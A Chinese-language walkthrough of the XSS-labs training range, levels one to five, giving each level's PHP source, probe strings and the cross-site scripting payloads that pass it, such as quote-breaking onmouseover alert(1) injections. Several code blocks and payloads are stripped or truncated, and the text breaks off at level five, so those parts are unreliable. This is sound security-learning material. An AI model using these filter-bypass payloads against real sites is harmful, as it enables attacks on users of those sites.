# XSS-labs靶场实战(更新中) # XSS-labs靶场实战 ## 第一关 ![](https://pic.imgdb.cn/item/64c86a521ddac507cc2aab8f.jpg) ### 源码 ```php+HTML

欢迎来到level1

欢迎用户".$str.""; ?>
payload的长度:".strlen($str).""; ?> ``` ### 过程(黑盒测试) ***地址栏提交参数值:``,过关。*** ​ ​ ## 第二关 ![](https://pic.imgdb.cn/item/64c86e881ddac507cc33c105.jpg) ### 源码 ```php+HTML

欢迎来到level2

没有找到和".htmlspecialchars($str)."相关的结果.".'
'; ?>
payload的长度:".strlen($str).""; ?> ``` ### 过程(黑盒测试) 表单输入`ipt>OonN\'\"'<>`查看前端代码: ```html

欢迎来到level2

没有找到和<sCr<scrscRiptipt>ipt>OonN\&apos;\"'<>相关的结果.

">

payload的长度:37

``` 有两处输出(第3行、第5行),第3行的输出有被转义过,推测是用到了`htmlspecialchars()`;第5行的输出没被处理,作为payload的构造基础。 ***表单输入`">`,过关。*** ​ ​ ## 第三关 ![](https://pic.imgdb.cn/item/64c875ab1ddac507cc449adf.jpg) ### 源码 ```php+HTML

欢迎来到level3

没有找到和".htmlspecialchars($str)."相关的结果."."
"; ?>
payload的长度:".strlen($str).""; ?> ``` ### 过程(黑盒测试) 表单输入`ipt>OonN\'\"'<>`查看前端代码: ```html

欢迎来到level3

没有找到和<sCr<scrscRiptipt>ipt>OonN\&apos;\"'<>相关的结果.

payload的长度:37

``` 有两处输出(第3行、第5行),这两处的输出都被处理过,推测是用到了`htmlspecialchars()`,但是没有加`ENT_QUOTES`参数导致`'`没有被处理,将第5行的输出作为构造payload的基础。 ***表单输入`'onmouseover='javascript:alert(1)`,鼠标移到表单上,过关。*** ​ ​ ## 第四关 ![](https://pic.imgdb.cn/item/64c87b6f1ddac507cc53adb8.jpg) ### 源码 ```php+HTML

欢迎来到level4

","",$str); $str3=str_replace("<","",$str2); echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
'; ?>
payload的长度:".strlen($str3).""; ?> ``` ### 过程(黑盒测试) 表单输入`ipt>OonN\'\"'<>`查看前端代码: ```html

欢迎来到level4

没有找到和<sCr<scrscRiptipt>ipt>OonN\&apos;\"'<>相关的结果.

payload的长度:32

``` 有两处输出(第3行、第5行),这两处的输出都被处理过,第3行的处理可能是用了`htmlspecialchars()`,虽然没处理`'`但也没法利用。第5行处理了`<`和`>`,将第5行的输出作为构造payload的基础。 ***表单输入`"onmouseover="javascript:alert(1)`,鼠标移到表单上,过关。*** ​ ​ ## 第五关 ![](https://pic.imgdb.cn/item/64c880331ddac507cc5d4373.jpg) ### 源码 ```php+HTML

欢迎来到level5

没有找到和".htmlspecialchars($str)."相关的结果.".'
'; ?>
payload的长度:".strlen($str3).""; ?> ``` ### 过程(黑盒测试) 表单输入`ipt>OonN\'\"'<>`查看前端代码: ```html

没有找到和<scr<scrscriptipt>ipt>oonn\&apos;\"'<>相关的结果.

">
``` 有两处输出(第1行、第3行),这两处的输出都被处理过,推测第1行的处理用了`htmlspecialchars()`,第3行将`on`替换成`o_n`,将第5行的输出作为构造payload的基础。 表单输入``查看前端代码: ```html ``` 推测不仅将`on`替换成`o_n`,还将`